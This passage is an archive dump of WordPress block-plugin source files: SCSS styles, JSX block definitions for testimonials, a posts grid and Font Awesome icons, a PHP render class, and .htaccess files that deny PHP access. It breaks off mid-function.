			.wp-block-themeisle-blocks-testimonials-area {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-testimonials-area {
				padding: 30px 50px;
			}
		}
	}
}testimonials/index.js000066600000000212151142373640010731 0ustar00/**
 * Testimonials Block
 */
import './style.scss';
import './editor.scss';
import './testimonials-area';
import './testimonials-block';
testimonials/.htaccess000066600000000424151142373640011067 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>testimonials/testimonials-block.js000066600000004024151142373640013432 0ustar00/**
 * WordPress dependencies...
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	InnerBlocks,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

/**
 * Internal dependencies
 */
registerBlockType( 'themeisle-blocks/testimonials-block', {
	title: __( 'Testimonials Block' ),
	description: __( 'Display kudos from customers and clients and display them on your website.' ),
	parent: [ 'themeisle-blocks/testimonials-area' ],
	icon: 'testimonial',
	category: 'themeisle-blocks',
	keywords: [
		'testimonials',
		'clients',
		'quotes'
	],
	attributes: {
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	edit: props => {
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'core/image', {
				align: 'center'
			} ],
			[ 'core/heading', {
				content: __( 'John Doe' ),
				className: 'testimonials-title',
				align: 'center',
				level: 3
			} ],
			[ 'core/heading', {
				content: __( 'Jedi Master' ),
				className: 'testimonials-subtitle',
				align: 'center',
				level: 6
			} ],
			[ 'core/paragraph', {
				content: __( 'What is the point of being alive if you don’t at least try to do something remarkable?' ),
				className: 'testimonials-content',
				align: 'center'
			} ]
		];

		return [
			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
post-grid/editor.scss000066600000004445151142373640010660 0ustar00.wp-block-themeisle-blocks-posts-grid {
	display: flex;
	flex-wrap: wrap;

	&.is-grid {
		.grid-post {
			.grid-post-row {

				.grid-image-area {
					flex: 0 0 100%;
					max-width: 100%;
				}
		
				.grid-content-area {
					flex: 0 0 100%;
					max-width: 100%;

					.grid-content-category {
						margin: 10px 0;
					}
				}
			}

			&.grid-2 {
				flex: 0 0 50%;
				max-width: 50%;
				padding: 0 15px;
			}

			&.grid-3 {
				flex: 0 0 33%;
				max-width: 33%;
				padding: 0 15px;
			}

			&.grid-4 {
				flex: 0 0 25%;
				max-width: 25%;
				padding: 0 15px;
			}

			&.grid-5 {
				flex: 0 0 20%;
				max-width: 20%;
				padding: 0 15px;
			}
		}
	}

	.grid-post {
		margin: 20px 0;
		background: transparent;
		box-shadow: none;
		border: 0;
		border-radius: 6px;
		color: rgba(0,0,0,.87);
		width: 100%;

		.grid-post-row {
			display: flex;
			flex-wrap: wrap;
			margin-right: -15px;
			margin-left: -15px;

			.grid-image-area {
				flex: 0 0 33.333333%;
				max-width: 33.333333%;
				position: relative;
				width: 100%;
				min-height: 1px;
				padding-right: 15px;
				padding-left: 15px;

				.post-thumbnail {
					position: relative;
					padding: 0;
					z-index: 1;
					border-radius: 6px;

					img {
						width: 100%;
						border-radius: 6px;
						box-shadow: 0 5px 15px 5px rgba(0,0,0,.24),0 8px 10px -5px rgba(0,0,0,.2);
					}
				}
			}

			.grid-content-area {
				flex: 0 0 66.666667%;
				max-width: 66.666667%;
				position: relative;
				width: 100%;
				min-height: 1px;
				padding-right: 15px;
				padding-left: 15px;

				&.full {
					flex: 0 0 100%;
					max-width: 100%;
				}

				.grid-content-category {
					font-size: 11px;
					font-weight: bold;
					margin: 0;

					a {
						color: #000000;
						text-decoration: none;
					}
				}

				.grid-content-title {
					font-size: 16px;
					font-weight: bold;
					margin: 0;

					a {
						text-decoration: none;
					}
				}

				.grid-content-meta {
					margin: 0;
					font-size: 14px;

					a {
						color: #000000;
					}
				}

				.grid-content-excerpt {
					line-height: 1.5;
					margin: 1em 0;
				}
			}
		}
	}
}

@media ( max-width:600px ) {
	.wp-block-themeisle-blocks-posts-grid {

		&.is-grid {
			.grid-post {
				flex: 0 0 100% !important;
				max-width: 100% !important;
				padding: 0 !important;
			}
		}
	}
}post-grid/index.js000066600000020051151142373640010131 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

import Thumbnail from './Thumbnail.js';

/**
 * WordPress dependencies...
 */

const { isUndefined, pickBy } = lodash;

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	Button,
	Dashicon,
	PanelBody,
	QueryControls,
	RangeControl,
	Spinner,
	TextControl,
	ToggleControl,
	Toolbar,
	Tooltip
} = wp.components;

const { withSelect } = wp.data;

const {
	BlockControls,
	InspectorControls
} = wp.editor;

const unescapeHTML = value => {
	const htmlNode = document.createElement( 'div' );
	htmlNode.innerHTML = value;
	if ( htmlNode.innerText !== undefined ) {
		return htmlNode.innerText;
	}
	return htmlNode.textContent;
};

const formatDate = date => {
	const monthNames = [
		__( 'January' ), __( 'February' ), __( 'March' ),
		__( 'April' ), __( 'May' ), __( 'June' ), __( 'July' ),
		__( 'August' ), __( 'September' ), __( 'October' ),
		__( 'November' ), __( 'December' )
	];
	const weekNames = [
		__( 'Sunday' ), __( 'Monday' ), __( 'Tuesday' ), __( 'Wednesday' ),
		__( 'Thursday' ), __( 'Friday' ), __( 'Saturday' )
	];
	date = new Date( date );
	const day = date.getDate();
	const monthIndex = date.getMonth();
	const year = date.getFullYear();
	return day + ' ' + monthNames[monthIndex] + ', ' + year;
};


import './style.scss';
import './editor.scss';

registerBlockType( 'themeisle-blocks/posts-grid', {
	title: __( 'Posts Grid' ),
	description: __( 'Display a list of your most recent posts in a beautiful grid.' ),
	icon: 'screenoptions',
	category: 'themeisle-blocks',
	keywords: [
		'posts',
		'grid',
		'orbitfox'
	],
	attributes: {
		grid: {
			type: 'boolean',
			default: false
		},
		columns: {
			type: 'number',
			default: 3
		},
		categories: {
			type: 'string'
		},
		postsToShow: {
			type: 'number',
			default: 5
		},
		order: {
			type: 'string',
			default: 'desc'
		},
		orderBy: {
			type: 'string',
			default: 'date'
		},
		displayFeaturedImage: {
			type: 'boolean',
			default: true
		},
		displayCategory: {
			type: 'boolean',
			default: true
		},
		displayDate: {
			type: 'boolean',
			default: true
		},
		displayAuthor: {
			type: 'boolean',
			default: true
		},
		excerptLength: {
			type: 'number',
			default: 200
		}
	},

	edit: withSelect( ( select, props ) => {
		const { categories, order, orderBy, postsToShow } = props.attributes;
		const latestPostsQuery = pickBy({
			categories,
			order,
			orderby: orderBy,
			per_page: postsToShow // eslint-disable-line camelcase
		}, ( value ) => ! isUndefined( value ) );
		return {
			posts: select( 'core' ).getEntityRecords( 'postType', 'post', latestPostsQuery ),
			// eslint-disable-next-line camelcase
			categoriesList: select( 'core' ).getEntityRecords( 'taxonomy', 'category', { per_page: 100 }),
			authors: select( 'core' ).getAuthors(),
			props
		};
	})( ({ posts, categoriesList, authors, className, setAttributes, props }) => {
		if ( ! posts ) {
			return (
				<p className={ className } >
					<Spinner />
					{ __( 'Loading Posts' ) }
				</p>
			);
		}
		if ( 0 === posts.length ) {
			return <p>{ __( 'No Posts' ) }</p>;
		}

		const {
			grid,
			columns,
			order,
			orderBy,
			categories,
			postsToShow,
			displayFeaturedImage,
			displayCategory,
			displayDate,
			displayAuthor,
			excerptLength
		} = props.attributes;

		const toggleLayout = () => {
			props.setAttributes({ grid: ! grid });
		};

		const changeColumns = value => {
			props.setAttributes({ columns: value});
		};

		const toggleFeaturedImage = () => {
			props.setAttributes({ displayFeaturedImage: ! displayFeaturedImage });
		};

		const toggleDisplayCategory = () => {
			props.setAttributes({ displayCategory: ! displayCategory });
		};

		const toggleDisplayDate = () => {
			props.setAttributes({ displayDate: ! displayDate });
		};

		const toggleDisplayAuthor = () => {
			props.setAttributes({ displayAuthor: ! displayAuthor });
		};

		const onExcerptLength = value => {
			props.setAttributes({ excerptLength: value });
		};

		return [
			<BlockControls key="toolbar-controls">
				<Toolbar
					className='components-toolbar'
				>
					<Tooltip text={ __( 'List Layout' )	}>
						<Button
							className={ classnames(
								'components-icon-button',
								'components-toolbar__control',
								{ 'is-active': ! grid },
							) }
							onClick={ toggleLayout }
						>
							<Dashicon icon="list-view" />
						</Button>
					</Tooltip>
					<Tooltip text={ __( 'Grid Layout' )	}>
						<Button
							className={ classnames(
								'components-icon-button',
								'components-toolbar__control',
								{ 'is-active': grid },
							) }
							onClick={ toggleLayout }
						>
							<Dashicon icon="grid-view" />
						</Button>
					</Tooltip>
				</Toolbar>
			</BlockControls>,

			<InspectorControls>
				<PanelBody
					title={ __( 'Posts Grid Settings' ) }
				>
					{ ( grid ) && (
						<RangeControl
							label={ __( 'Columns' ) }
							value={ columns }
							onChange={ changeColumns}
							min={ 1 }
							max={ 5 }
						>
						</RangeControl>
					) }
					<QueryControls
						{ ...{ order, orderBy } }
						numberOfItems={ postsToShow }
						categoriesList={ categoriesList }
						selectedCategoryId={ categories }
						onOrderChange={ ( value ) => setAttributes({ order: value }) }
						onOrderByChange={ ( value ) => setAttributes({ orderBy: value }) }
						onCategoryChange={ ( value ) => setAttributes({ categories: '' !== value ? value : undefined }) }
						onNumberOfItemsChange={ ( value ) => setAttributes({ postsToShow: value }) }
					/>

					<ToggleControl
						label={ __( 'Display Featured Image?' ) }
						checked={ displayFeaturedImage }
						onChange={ toggleFeaturedImage }
					/>

					<ToggleControl
						label={ __( 'Display Post Category?' ) }
						checked={ displayCategory }
						onChange={ toggleDisplayCategory }
					/>

					<ToggleControl
						label={ __( 'Display Post Date?' ) }
						checked={ displayDate }
						onChange={ toggleDisplayDate }
					/>

					<ToggleControl
						label={ __( 'Display Post Author?' ) }
						checked={ displayAuthor }
						onChange={ toggleDisplayAuthor }
					/>

					<TextControl
						label={ __( 'Description Character Limit' ) }
						type="number"
						value={ excerptLength }
						onChange={ onExcerptLength }
					/>
				</PanelBody>
			</InspectorControls>,

			<div className={ classnames(
				className,
				{ 'is-grid': grid },
			) }>
				{ posts.map( post => {
					let category, author;
					if ( categoriesList ) {
						category = categoriesList.find( item => item.id === post.categories[0]);
					}
					if ( authors ) {
						author = authors.find( item => item.id === post.author );
					}
					return (
						<div className={ `grid-post grid-${ columns }` }>
							<div className="grid-post-row">
								{ ( 0 !== post.featured_media && displayFeaturedImage ) &&
									<div className="grid-image-area" >
										<Thumbnail id={ post.featured_media } link={ post.link } />
									</div>
								}
								<div className={ `grid-content-area ${ ! displayFeaturedImage && 'full' }` }>
									{ ( displayCategory && categoriesList ) && (
										<h6 className="grid-content-category">
											<a href={ category.link }>{ category.name }</a>
										</h6>
									) }
									<h3 className="grid-content-title">
										<a href={ post.link }>
											{ post.title.rendered }
										</a>
									</h3>
									{ ( displayDate || displayAuthor ) && (
										<p className="grid-content-meta">
											{ ( displayDate ) && [
												__( 'on ' ),
												<time datetime={ post.date }>{ formatDate( post.date ) }</time>,
												' '
											] }
											{ ( displayAuthor && authors ) && [
												__( 'by ' ),
												<a href={ author.link }>{ author.name }</a>
											] }
										</p>
									) }
									{ ( 0 < excerptLength ) && (
										<p className="grid-content-excerpt">
											{ unescapeHTML( post.excerpt.rendered ).substring( 0, excerptLength ) + '…' }
										</p>
									) }
								</div>
							</div>
						</div>
					);
				}) }
			</div>
		];
	}),

	save: () => {
		return null;
	}
});
post-grid/.htaccess000066600000000424151142373640010264 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>post-grid/style.scss000066600000004445151142373640010532 0ustar00.wp-block-themeisle-blocks-posts-grid {
	display: flex;
	flex-wrap: wrap;

	&.is-grid {
		.grid-post {
			.grid-post-row {

				.grid-image-area {
					flex: 0 0 100%;
					max-width: 100%;
				}
		
				.grid-content-area {
					flex: 0 0 100%;
					max-width: 100%;

					.grid-content-category {
						margin: 10px 0;
					}
				}
			}

			&.grid-2 {
				flex: 0 0 50%;
				max-width: 50%;
				padding: 0 15px;
			}

			&.grid-3 {
				flex: 0 0 33%;
				max-width: 33%;
				padding: 0 15px;
			}

			&.grid-4 {
				flex: 0 0 25%;
				max-width: 25%;
				padding: 0 15px;
			}

			&.grid-5 {
				flex: 0 0 20%;
				max-width: 20%;
				padding: 0 15px;
			}
		}
	}

	.grid-post {
		margin: 20px 0;
		background: transparent;
		box-shadow: none;
		border: 0;
		border-radius: 6px;
		color: rgba(0,0,0,.87);
		width: 100%;

		.grid-post-row {
			display: flex;
			flex-wrap: wrap;
			margin-right: -15px;
			margin-left: -15px;

			.grid-image-area {
				flex: 0 0 33.333333%;
				max-width: 33.333333%;
				position: relative;
				width: 100%;
				min-height: 1px;
				padding-right: 15px;
				padding-left: 15px;

				.post-thumbnail {
					position: relative;
					padding: 0;
					z-index: 1;
					border-radius: 6px;

					img {
						width: 100%;
						border-radius: 6px;
						box-shadow: 0 5px 15px 5px rgba(0,0,0,.24),0 8px 10px -5px rgba(0,0,0,.2);
					}
				}
			}

			.grid-content-area {
				flex: 0 0 66.666667%;
				max-width: 66.666667%;
				position: relative;
				width: 100%;
				min-height: 1px;
				padding-right: 15px;
				padding-left: 15px;

				&.full {
					flex: 0 0 100%;
					max-width: 100%;
				}

				.grid-content-category {
					font-size: 11px;
					font-weight: bold;
					margin: 0;

					a {
						color: #000000;
						text-decoration: none;
					}
				}

				.grid-content-title {
					font-size: 16px;
					font-weight: bold;
					margin: 0;

					a {
						text-decoration: none;
					}
				}

				.grid-content-meta {
					margin: 0;
					font-size: 14px;

					a {
						color: #000000;
					}
				}

				.grid-content-excerpt {
					line-height: 1.5;
					margin: 1em 0;
				}
			}
		}
	}
}

@media ( max-width:600px ) {
	.wp-block-themeisle-blocks-posts-grid {

		&.is-grid {
			.grid-post {
				flex: 0 0 100% !important;
				max-width: 100% !important;
				padding: 0 !important;
			}
		}
	}
}post-grid/class-posts-grid-block.php000066600000012441151142373640013467 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Posts_Grid_Block
 */
class Posts_Grid_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'posts-grid';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'grid'                 => array(
				'type' => 'boolean',
				'default' => false,
			),
			'columns'              => array(
				'type' => 'number',
				'default' => 3,
			),
			'categories'           => array(
				'type' => 'string',
			),
			'postsToShow'          => array(
				'type'    => 'number',
				'default' => 5,
			),
			'order'                => array(
				'type'    => 'string',
				'default' => 'desc',
			),
			'orderBy'              => array(
				'type'    => 'string',
				'default' => 'date',
			),
			'displayFeaturedImage' => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayCategory'      => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayDate'          => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayAuthor'        => array(
				'type'    => 'boolean',
				'default' => true,
			),
			'excerptLength'        => array(
				'type'    => 'number',
				'default' => '200',
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$recent_posts = wp_get_recent_posts(
			array(
				'numberposts' => $attributes['postsToShow'],
				'post_status' => 'publish',
				'order'       => $attributes['order'],
				'orderby'     => $attributes['orderBy'],
				'category'    => $attributes['categories'],
			)
		);

		$list_items_markup = '';

		foreach ( $recent_posts as $post ) {
			$id = $post['ID'];
			$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $id ), 'medium' );
			$category = get_the_category( $id );

			$list_items_markup .= '<div class="grid-post grid-' . $attributes['columns'] . '"><div class="grid-post-row">';

			if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) {
				if ( $thumbnail ) {
					$list_items_markup .= sprintf(
						'<div class="grid-image-area"><div class="post-thumbnail"><a href="%1$s"><img src="%2$s" alt="%3$s" /></a></div></div>',
						esc_url( get_the_permalink( $id ) ),
						esc_url( $thumbnail[0] ),
						esc_html( get_the_title( $id ) )
					);
				}
			}

			$list_items_markup .= '<div class="grid-content-area' . ( $thumbnail && $attributes['displayFeaturedImage'] ? '' : ' full' ) . '">';

			if ( isset( $attributes['displayCategory'] ) && $attributes['displayCategory'] ) {
				$list_items_markup .= sprintf(
					'<h6 class="grid-content-category"><a href="%1$s">%2$s</a></h6>',
					esc_url( get_category_link( $category[0]->term_id ) ),
					esc_html( $category[0]->cat_name )
				);
			}

			$list_items_markup .= sprintf(
				'<h3 class="grid-content-title"><a href="%1$s">%2$s</a></h6>',
				esc_url( get_the_permalink( $id ) ),
				esc_html( get_the_title( $id ) )
			);

			if ( ( isset( $attributes['displayDate'] ) && $attributes['displayDate'] ) || ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) ) {
				$list_items_markup .= '<p class="grid-content-meta">';

				if ( ( isset( $attributes['displayDate'] ) && $attributes['displayDate'] ) ) {
					$list_items_markup .= sprintf(
						'<time datetime="%1$s">%2$s %3$s </time>',
						esc_attr( get_the_date( 'c', $id ) ),
						__( 'on', 'themeisle-companion' ),
						esc_html( get_the_date( 'j F, Y', $id ) )
					);
				}

				if ( ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) ) {
					$list_items_markup .= sprintf(
						'%1$s <a href="%2$s">%3$s</a>',
						__( 'by', 'themeisle-companion' ),
						get_author_posts_url( get_post_field( 'post_author', $id ) ),
						get_the_author_meta( 'display_name', get_post_field( 'post_author', $id ) )
					);
				}

				$list_items_markup .= '</p>';
			}

			if ( ( isset( $attributes['excerptLength'] ) && $attributes['excerptLength'] > 0 ) ) {
				$list_items_markup .= sprintf(
					'<p class="grid-content-excerpt">%1$s</p>',
					$this->get_excerpt_by_id( $id, $attributes['excerptLength'] )
				);
			}

			$list_items_markup .= '</div></div></div>';
		}

		$class = 'wp-block-themeisle-blocks-posts-grid';

		if ( isset( $attributes['grid'] ) && true === $attributes['grid'] ) {
			$class .= ' is-grid';
		}

		$block_content = sprintf(
			'<div class="%1$s">%2$s</div>',
			esc_attr( $class ),
			$list_items_markup
		);

		return $block_content;
	}

	/**
	 * Get post excerpt
	 *
	 * @return string
	 */
	function get_excerpt_by_id( $post_id, $excerpt_length = 200 ) {
		$the_post = get_post( $post_id );
		$the_excerpt = $the_post->post_content;
		$the_excerpt = strip_tags( strip_shortcodes( $the_excerpt ) );
		$the_excerpt = substr( $the_excerpt, 0, $excerpt_length ) . '…';
		return $the_excerpt;
	}
}
post-grid/Thumbnail.js000066600000001500151142373640010743 0ustar00/**
 * WordPress Dependencies
 */
const { Spinner } = wp.components;

const { withSelect } = wp.data;

const { Component } = wp.element;

class Thumbnail extends Component {
	constructor() {
		super( ...arguments );
	}

	render() {
		const { alt, id, thumbnail, link } = this.props;

		const img = thumbnail ? <img src={ thumbnail } alt={ alt } data-id={ id } /> : <Spinner />;

		return (
			<div className="post-thumbnail" >
				<a href={ link }>{ img }</a>
			</div>
		);
	}
}

export default withSelect( ( select, ownProps ) => {
	const { id } = ownProps;
	const image = id ? select( 'core' ).getMedia( id ) : undefined;
	const size = 'medium';
	const thumbnail = image ? image.media_details.sizes[size].source_url : null;

	return image ? {
		thumbnail: thumbnail,
		alt: image.alt_text
	} : {
		alt: null
	};
})( Thumbnail );
font-awesome-icons/index.js000066600000027164151142373640011752 0ustar00/**
 * WordPress dependencies...
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	BaseControl,
	Button,
	ButtonGroup,
	PanelBody,
	RangeControl,
	ToggleControl
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const { withSelect } = wp.data;

const {
	AlignmentToolbar,
	BlockControls,
	ColorPalette,
	ContrastChecker,
	InspectorControls
} = wp.editor;

const { Fragment } = wp.element;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

import { faIcon } from '../../helpers/icons.js';

import IconPickerControl from '../../components/icon-picker-control/index.js';

import LinkControl from '../../components/link-control/index.js';

import deprecated from './deprecated.js';

registerBlockType( 'themeisle-blocks/font-awesome-icons', {
	title: __( 'Font Awesome Icons' ),
	description: __( 'Share buttons for your website visitors to share content on any social sharing service.' ),
	icon: faIcon,
	category: 'themeisle-blocks',
	keywords: [
		'font awesome',
		'dashicons',
		'icons'
	],
	attributes: {
		id: {
			type: 'string'
		},
		align: {
			type: 'string'
		},
		prefix: {
			type: 'string',
			default: 'fab'
		},
		icon: {
			type: 'string',
			default: 'themeisle'
		},
		link: {
			type: 'string'
		},
		newTab: {
			type: 'boolean',
			default: false
		},
		fontSize: {
			type: 'number',
			default: 16
		},
		padding: {
			type: 'number',
			default: 5
		},
		margin: {
			type: 'number',
			default: 5
		},
		backgroundColor: {
			type: 'string'
		},
		textColor: {
			type: 'string'
		},
		borderColor: {
			type: 'string'
		},
		backgroundColorHover: {
			type: 'string'
		},
		textColorHover: {
			type: 'string'
		},
		borderColorHover: {
			type: 'string'
		},
		borderSize: {
			type: 'number',
			default: 0
		},
		borderRadius: {
			type: 'number',
			default: 0
		}
	},

	deprecated: deprecated,

	edit: compose([

		withSelect( ( select, props ) => {
			return {
				props
			};
		}),

		withState({
			hover: false
		})

	])( ({ hover, setState, props }) => {

		if ( props.attributes.id === undefined || props.attributes.id.substr( props.attributes.id.length - 8 ) !== props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-font-awesome-icons-${ props.clientId.substr( 0, 8 ) }`;
			props.setAttributes({ id: instanceId });
		}

		const changeAlignment = value => {
			props.setAttributes({ align: value });
		};

		const changeIcon = value => {
			if ( 'object' === typeof value ) {
				props.setAttributes({
					icon: value.name,
					prefix: value.prefix
				});
			} else {
				props.setAttributes({ icon: value });
			}
		};

		const changeLink = value => {
			props.setAttributes({ link: value });
		};

		const toggleNewTab = () => {
			props.setAttributes({ newTab: ! props.attributes.newTab });
		};

		const changeFontSize = value => {
			props.setAttributes({ fontSize: value });
		};

		const changePadding = value => {
			props.setAttributes({ padding: value });
		};

		const changeMargin = value => {
			props.setAttributes({ margin: value });
		};

		const changeBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};

		const changeTextColor = value => {
			props.setAttributes({ textColor: value });
		};

		const changeBorderColor = value => {
			props.setAttributes({ borderColor: value });
		};

		const changeBackgroundColorHover = value => {
			props.setAttributes({ backgroundColorHover: value });
		};

		const changeTextColorHover = value => {
			props.setAttributes({ textColorHover: value });
		};

		const changeBorderColorHover = value => {
			props.setAttributes({ borderColorHover: value });
		};

		const changeBorderSize = value => {
			props.setAttributes({ borderSize: value });
		};

		const changeBorderRadius = value => {
			props.setAttributes({ borderRadius: value });
		};

		const iconStyle = {
			borderRadius: props.attributes.borderRadius + '%',
			fontSize: props.attributes.fontSize + 'px',
			padding: props.attributes.padding + 'px'
		};

		const containerStyle = {
			color: props.attributes.textColor,
			backgroundColor: props.attributes.backgroundColor,
			borderColor: props.attributes.borderColor,
			borderRadius: props.attributes.borderRadius + '%',
			borderStyle: 'solid',
			borderWidth: props.attributes.borderSize + 'px',
			display: 'inline-block',
			margin: props.attributes.margin + 'px'
		};

		return (
			<Fragment>
				<BlockControls>
					<AlignmentToolbar
						value={ props.attributes.align }
						onChange={ changeAlignment }
						alignmentControls={ [
							{
								icon: 'editor-alignleft',
								title: __( 'Align left' ),
								align: 'left'
							},
							{
								icon: 'editor-aligncenter',
								title: __( 'Align center' ),
								align: 'center'
							},
							{
								icon: 'editor-alignright',
								title: __( 'Align right' ),
								align: 'right'
							}
						] }
					/>
				</BlockControls>

				<InspectorControls>
					<PanelBody
						title={ __( 'Icon Settings' ) }
					>
						<IconPickerControl
							label={ __( 'Icon Picker' ) }
							prefix={ props.attributes.prefix }
							icon={ props.attributes.icon }
							onChange={ changeIcon }
						/>

						<LinkControl
							label={ __( 'Link' ) }
							placeholder="https://…"
							value={ props.attributes.link }
							onChange={ changeLink }
						>
							<ToggleControl
								label={ 'Open in New Tab?' }
								checked={ props.attributes.newTab }
								onChange={ toggleNewTab }
							/>
						</LinkControl>
					</PanelBody>

					<PanelBody
						title={ __( 'Icon Sizes' ) }
						className="blocks-font-size"
						initialOpen={ false }
					>
						<RangeControl
							label={ __( 'Text Size' ) }
							value={ props.attributes.fontSize || '' }
							initialPosition={ 16 }
							onChange={ changeFontSize }
							min={ 12 }
							max={ 140 }
							beforeIcon="editor-textcolor"
							afterIcon="editor-textcolor"
						/>

						<RangeControl
							label={ __( 'Padding' ) }
							value={ props.attributes.padding || '' }
							initialPosition={ 5 }
							onChange={ changePadding }
							min={ 0 }
							max={ 100 }
							beforeIcon="minus"
							afterIcon="plus"
						/>

						<RangeControl
							label={ __( 'Margin' ) }
							value={ props.attributes.margin || '' }
							initialPosition={ 5 }
							onChange={ changeMargin }
							min={ 0 }
							max={ 100 }
							beforeIcon="minus"
							afterIcon="plus"
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Color' ) }
						initialOpen={ false }
					>
						<ButtonGroup className="wp-block-themeisle-blocks-font-awesome-icons-hover-control">
							<Button
								isDefault
								isLarge
								isPrimary={ ! hover }
								onClick={ () => setState({ hover: false }) }
							>
								{ __( 'Normal' ) }
							</Button>
							<Button
								isDefault
								isLarge
								isPrimary={ hover }
								onClick={ () => setState({ hover: true }) }
							>
								{ __( 'Hover' ) }
							</Button>
						</ButtonGroup>

						{ hover ? (
							<Fragment>
								<BaseControl
									label={ 'Hover Background' }
								>
									<ColorPalette
										label={ 'Hover Background' }
										value={ props.attributes.backgroundColorHover }
										onChange={ changeBackgroundColorHover }
									/>
								</BaseControl>

								<BaseControl
									label={ 'Hover Icon' }
								>
									<ColorPalette
										label={ 'Hover Icon' }
										value={ props.attributes.textColorHover }
										onChange={ changeTextColorHover }
									/>
								</BaseControl>

								<BaseControl
									label={ 'Hover Border' }
								>
									<ColorPalette
										label={ 'Hover Border' }
										value={ props.attributes.borderColorHover }
										onChange={ changeBorderColorHover }
									/>
								</BaseControl>

								<ContrastChecker
									{ ...{
										textColor: props.attributes.textColorHover,
										backgroundColor: props.attributes.backgroundColorHover
									} }
								/>
							</Fragment>
						) : (
							<Fragment>
								<BaseControl
									label={ 'Background' }
								>
									<ColorPalette
										label={ 'Background' }
										value={ props.attributes.backgroundColor }
										onChange={ changeBackgroundColor }
									/>
								</BaseControl>

								<BaseControl
									label={ 'Icon' }
								>
									<ColorPalette
										label={ 'Icon' }
										value={ props.attributes.textColor }
										onChange={ changeTextColor }
									/>
								</BaseControl>

								<BaseControl
									label={ 'Border' }
								>
									<ColorPalette
										label={ 'Border' }
										value={ props.attributes.borderColor }
										onChange={ changeBorderColor }
									/>
								</BaseControl>

								<ContrastChecker
									{ ...{
										textColor: props.attributes.textColor,
										backgroundColor: props.attributes.backgroundColor
									} }
								/>
							</Fragment>
						) }
					</PanelBody>

					<PanelBody
						title={ __( 'Border Settings' ) }
						initialOpen={ false }
					>
						<RangeControl
							label={ __( 'Border Size' ) }
							value={ props.attributes.borderSize }
							onChange={ changeBorderSize }
							min={ 0 }
							max={ 120 }
							beforeIcon="minus"
							afterIcon="plus"
						/>

						<RangeControl
							label={ __( 'Border Radius' ) }
							value={ props.attributes.borderRadius }
							onChange={ changeBorderRadius }
							min={ 0 }
							max={ 100 }
							beforeIcon="grid-view"
							afterIcon="marker"
						/>
					</PanelBody>
				</InspectorControls>

				<style>
					{ `#${ props.attributes.id } .${ props.className }-container:hover {
						color: ${ props.attributes.textColorHover ? props.attributes.textColorHover : props.attributes.textColor } !important;
						background: ${ props.attributes.backgroundColorHover ? props.attributes.backgroundColorHover : props.attributes.backgroundColor } !important;
						border-color: ${ props.attributes.borderColorHover ? props.attributes.borderColorHover : props.attributes.borderColor } !important;
					}` }
				</style>

				<p
					className={ props.className }
					id={ props.attributes.id }
					style={{ textAlign: props.attributes.align }}
				>
					<span
						className="wp-block-themeisle-blocks-font-awesome-icons-container"
						style={ containerStyle }
					>
						<i
							className={ `${ props.attributes.prefix } fa-${ props.attributes.icon }` }
							style={ iconStyle }
						>
						</i>
					</span>
				</p>
			</Fragment>
		);
	}),

	save: props => {
		const containerStyle = {
			borderRadius: props.attributes.borderRadius + '%',
			borderStyle: 'solid',
			borderWidth: props.attributes.borderSize + 'px',
			display: 'inline-block',
			margin: props.attributes.margin + 'px'
		};

		const iconStyle = {
			borderRadius: props.attributes.borderRadius + '%',
			fontSize: props.attributes.fontSize + 'px',
			padding: props.attributes.padding + 'px'
		};

		const IconElement = () => {
			return (
				<i
